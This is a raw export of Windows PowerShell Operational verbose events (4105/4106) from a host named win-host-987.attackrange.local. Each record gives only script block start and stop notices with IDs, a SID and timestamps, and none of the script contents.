OpCode=On create calls
RecordNumber=2036463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036457
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036452
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036451
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036429
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036428
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036427
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036426
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036410
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
